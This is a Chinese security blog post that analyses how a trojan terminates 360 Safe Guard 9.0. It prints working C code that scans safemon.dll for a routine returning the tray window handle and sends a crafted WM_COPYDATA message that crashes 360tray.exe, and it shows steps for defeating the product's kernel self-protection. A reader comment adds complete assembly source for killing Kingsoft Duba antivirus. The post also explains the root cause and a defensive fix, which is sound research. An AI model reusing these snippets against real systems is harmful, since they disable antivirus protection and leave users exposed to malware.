360安全卫士被关闭漏洞分析

2014-04-16 +14 474937人围观 ,发现 46 个不明物体 系统安全

注:本文测试环境为360安全卫士9.0,最新版的安全卫士已修复此漏洞

现象

某个木马运行后可以关闭360安全卫士,经过逆向分析发现该木马只是简单运行了以下代码:

HMODULE h360 =GetModuleHandle(TEXT("safemon.dll"));
int i = 0;
for (i = 0; i<0x30000; i++)
{
if (memcmp((BYTE *)(h360+i), "\x83\xEC\x10\x56\x8D\x44\x24\x04\x50",9)==0)
{
         break;
}
}
if (i==0x30000)
{
return;
}
FARPROC funcGet360HWND = (FARPROC)(h360+i);
HWND hWnd = (HWND)funcGet360HWND();
COPYDATASTRUCT cpdata;
cpdata.dwData = 0x4d47534d;
cpdata.cbData = 0x1000;
cpdata.lpData = msgbuf;  //长度0x1000字节的随即数据,其中不能有连续\x00\x00
SendMessage(hWnd, WM_COPYDATA, NULL,(LPARAM)&cpdata);

我们自己用上面代码运行之后,360安全卫士的进程(360tray.exe)就自动退出了。注意:这个程序必须是带窗口的程序,而不能使控制台程序,因为控制台程序是不加载safemon.dll的。

攻击原理

上面如此简单的代码就能导致关闭360,我们来看一下这段代码到底做了什么?首先获得safemon.dll的模块地址,每个有图形界面都会加载这个dll。然后从这个模块里找一处特征代码,经分析发现找的是以下代码:

67366570   83EC 10         sub     esp, 10
67366573   56              push    esi
67366574   8D4424 04       lea     eax, dword ptr [esp+4]
67366578   50              push    eax
67366579   6A 00           push   0
6736657B   8D4C24 10       lea     ecx, dword ptr [esp+10]
6736657F   51              push    ecx
67366580   68 40653667     push    67366540
67366585   6A 00           push    0
67366587   6A 00           push    0
67366589   C74424 20 E48D4>mov     dwordptr [esp+20], 67418DE4                   ; ASCII "Q360SafeMonClass"
67366591   C74424 24 00000>mov     dwordptr [esp+24], 0
67366599   C74424 28 00000>mov     dwordptr [esp+28], 0
673665A1   FF15 10D34067   call    dword ptr [<&KERNEL32.GetCurrentProcess>]       ; kernel32.GetCurrentProcess
673665A7   50              push    eax
673665A8   FF15 58D14067   call    dword ptr[<&KERNEL32.CreateRemoteThread>]     ; kernel32.CreateRemoteThread
673665AE   8BF0            mov     esi,eax
673665B0   85F6            test    esi, esi
673665B2   74 10           je      short 673665C4
673665B4   6A FF           push    -1
673665B6   56              push    esi
673665B7   FF15 24D14067   call    dword ptr [<&KERNEL32.WaitForSingleObject>]     ; kernel32.WaitForSingleObject
673665BD   56              push    esi
673665BE   FF15 20D34067   call    dword ptr[<&KERNEL32.CloseHandle>]            ; kernel32.CloseHandle
673665C4   8B4424 10       mov     eax, dword ptr [esp+10]
673665C8   5E              pop     esi
673665C9   83C4 10         add     esp, 10
673665CC   C3              retn

其作用就是找到Q360SafeMonClass的窗口句柄。找到这段代码后就会执行这段代码来获取该窗口句柄。为什么不直接用FindWindow来查找呢?据分析应该是360做了一些防护,直接找怕找不到。

找到这个窗口后会给他发送WM_COPYDATA消息,附带的消息COPYDATASTRUCT结构的dwData是0x4d47534d,数据长度是0×1000,内容是随机数据。

我自己写了个程序模拟上述功能后,运行成功结束了360tray的进程,证明原理是没有错的。

漏洞调试

究竟是什么原因导致360tray如此简单就被关闭呢,我决定调试一下360看,启动OD准备附加360tray进程,发现无法附加,360做了保护。要想调试360首先要把保护去掉。

用XueTr看360的内核Hook点,并尝试恢复:

恢复之后尝试OD附加仍然失败,再刷新hook点已经被恢复了,这是当然的,360也要保护自身嘛。于是windbg开双机调试,在hook点下写断点,这样当360驱动恢复这里的时候,我们把他nop掉。

然后只要

kd> eb f747ed78 c3
kd> u f747ed78
Hookport+0xcd78:
f747ed78 c3              ret
f747ed79 ff558b          call    dword ptr [ebp-75h]
f747ed7c ec              in      al,dx
f747ed7d 51              push   ecx
f747ed7e 51              push    ecx
f747ed7f 8d45fc          lea     eax,[ebp-4]
f747ed82 50              push    eax
f747ed83 ff1594ff47f7    call   dword ptr [Hookport+0xdf94 (f747ff94)]
kd> g

这时候只要再恢复内核hook点,360就哑巴了,然后成功用OD附加360tray进程:

漏洞原理

经过调试发现,导致360出错退出的地方在360safemonpro.tpi这个模块里inline编译的vsnwprintf,从这里调用:



其中va_list参数里有我们WM_COPYDATA消息传进去的数据,然后在里面进入_woutput_l的时候出错了:

对应的源代码是:

output.c

                /*textlen now contains length in multibyte chars */
                } else{
                    if(text.wz== NULL) /* NULLpassed, use special string */
                        text.wz = __wnullstring;
                    bufferiswide= 1;
                    pwch= text.wz;
                    while(i-- && *pwch)  //这里出错了
                        ++pwch;
                    textlen= (int)(pwch- text.wz);       /* in wchar_ts*/
                    /*textlen now contains length in wide chars */
                }

看起来360的用法是没有错的,这里不存在溢出之类的漏洞,我分析认为这是微软挖的一个坑,360不幸掉进去了,对WM_COPYDATA的数据处理不当回导致访问未映射的内存。

以下是来自网上的WM_COPYDATA数据传递的原理:


跨线程的WM_COPYDATA没有使用共享内存,反而复制了两次数据
发送者SendMessage->xxxSendMessageTimeout->xxxInterSendMsgEx(UserAllocPoolWithQuota分配内核内存,将用户数据复制到内核空间)->SetWakeBit唤醒接受者->SetWakeBit等待应答
接受者xxxReceiveMessage->XXXSENDMESSAGETOCLIENT(宏)->ScSendMessageSMS(也是宏)->SfnCOPYDATA(sender side)->CaptureCallbackData(把数据从内核空间复制到用户空间)->KeUserModeCallback(转到用户模式)->SfnCOPYDATA(receiver side)->窗口过程->回到内核模式,应答发送者...........
‍

所以传递的数据并不是一块新分配的heap,而0×1000为单位长度映射的内存空间,是一块没头没尾的空间,一旦使用一些字符串操作函数直接访问这块空间,很容易造成越界访问到没映射的内存里。

为了证实这个理论,我们可以自己写一个WM_COPYDATA的是以消息处理函数,模拟漏洞的产生过程:

BOOL CrecvDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
    wchar_t buf[0x2000]={0};
    _snwprintf(buf, 0x2000, L"url=%s", pCopyDataStruct->lpData);
    return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}

这段代码看上去是没什么问题的,直接把传进来的lpData当做字符串来处理。我们再写一个发送函数:

HWND hWnd=FindWindowA("#32770","recv");
if (hWnd)
{
            int len=0x1000; //这一定要是0x1000的整数倍
            char*buf=new char[len];
            memset(buf, 0x41, len);
 
            COPYDATASTRUCTcpdata;
            cpdata.dwData = 0x4d47534d;
            cpdata.cbData = len;
            cpdata.lpData = buf;
            SendMessage(hWnd, WM_COPYDATA,NULL, (LPARAM)&cpdata);
 
            delete[] buf;
}

运行发送消息后,接收消息的程序报错了,出错点就是刚才分析的地方。

总结

严格意义上讲,导致360被结束的这个问题应该不算一个漏洞,而是由于微软没对使用COPYDATASTRUCT.lpData的内存做一些要求,正常的库函数访问的时候就可能导致出错。要安全使用COPYDATASTRUCT.lpData,应该把这块内存先拷贝出来,然后再进行操作。

另一方面,这个漏洞为我们指引了寻找360漏洞的方向,凡是有用户能控制输入的地方都有可能存在此类漏洞。

椒图科技是一家国内专注于服务器安全的厂商,椒图攻防实验室是公司内专注于攻击渗透的部门,这里有最新的攻击技术研究氛围,欢迎有志于攻击、渗透、web漏洞挖掘的大牛小牛加入我们!有意请联系:job@jowto.com,工作地点:北京

这些评论亮了

  • chenyoufu123 回复
    为什么牛逼点的公司都在北京?为什么无锡没有啊?天理何在?无锡13年全国宜居城市排名第一啊
    )61( 亮了
  • xocoder 回复
    @椒图科技 你以为360会放过你么?跟流氓玩横的,活腻了吧。
    )19( 亮了
  • bbb 回复
    @debugee 早就过了怎么没见你发出来? 别人一发出个东西就会有人bbb的什么老了过了的。
    )17( 亮了
  • debugee 回复
    这方法早用过了,做掉毒霸,代码如下,原理一样
    杀毒霸
    .386
    .model flat,stdcall
    option casemap:none
    include windows.inc
    include user32.inc
    includelib user32.lib
    include kernel32.inc
    includelib kernel32.lib
    include advapi32.inc
    includelib advapi32.lib
    include shlwapi.inc
    includelib shlwapi.lib
    include debug.inc
    includelib debug.lib
    .code
    fuck proc uses ebx esi edi
    LOCAL @hMutex,@hEvent1,@hEvent2,@hMap,@lpMap

    invoke OpenMutex,1F0001H,FALSE,CTEXT("Global\{4AD5C1B1-C922-46dc-87EB-EEEEA805350C}")
    .if eax == 0
    ret
    .endif
    mov @hMutex,eax

    invoke WaitForSingleObject,@hMutex,5000
    .if eax == WAIT_TIMEOUT
    @@: invoke ReleaseMutex,@hMutex
    invoke CloseHandle,@hMutex
    ret
    .endif

    invoke OpenEvent,EVENT_ALL_ACCESS,FALSE,CTEXT("Global\{9911015F-D698-48d7-BB1B-040EA452E003}")
    .if eax == 0
    jmp @b
    .endif
    mov @hEvent1,eax

    invoke OpenEvent,EVENT_ALL_ACCESS,FALSE,CTEXT("Global\{689DC529-FC99-42cc-9ADD-E879C5B7B9DE}")
    .if eax == 0
    invoke CloseHandle,@hEvent1
    jmp @b
    .endif
    mov @hEvent2,eax

    invoke OpenFileMapping,FILE_MAP_ALL_ACCESS,FALSE,CTEXT("Global\{25290102-9898-4d43-8199-61F3DF41832E}")
    .if eax == 0
    invoke CloseHandle,@hEvent2
    invoke CloseHandle,@hEvent1
    jmp @b
    .endif
    mov @hMap,eax

    invoke MapViewOfFile,@hMap,FILE_MAP_READ or FILE_MAP_WRITE,0,0,1000H
    .if eax == 0
    invoke CloseHandle,@hMap
    invoke CloseHandle,@hEvent2
    invoke CloseHandle,@hEvent1
    jmp @b
    .endif
    ;;输入数据
    mov @lpMap,eax
    ;填充数据
    mov esi,@lpMap
    ;add esi,4
    mov dword ptr [esi],014H
    add esi,4
    invoke RtlZeroMemory,esi,1000H - 4
    invoke RtlFillMemory,esi,1000H -4 ,'F'


    invoke SetEvent,@hEvent1
    ;;等待服务端处理完成
    invoke WaitForSingleObject,@hEvent2,5000
    .if eax == WAIT_TIMEOUT
    invoke UnmapViewOfFile,@lpMap
    invoke CloseHandle,@hMap
    invoke CloseHandle,@hEvent2
    invoke CloseHandle,@hEvent1
    jmp @b
    .endif

    ;;这里可以获得返回信息了


    ;客户端离开
    invoke ResetEvent,@hEvent2
    invoke UnmapViewOfFile,@lpMap
    invoke CloseHandle,@hMap
    invoke CloseHandle,@hEvent2
    invoke CloseHandle,@hEvent1
    jmp @b

    ret
    fuck endp
    start:
    invoke fuck

    ret
    end start
    )16( 亮了
  • @bbb 那你也bbb的来发一个,没本事就别bbb,艹
    )11( 亮了
发表评论

已有 46 条评论

取消
Loading...
css.php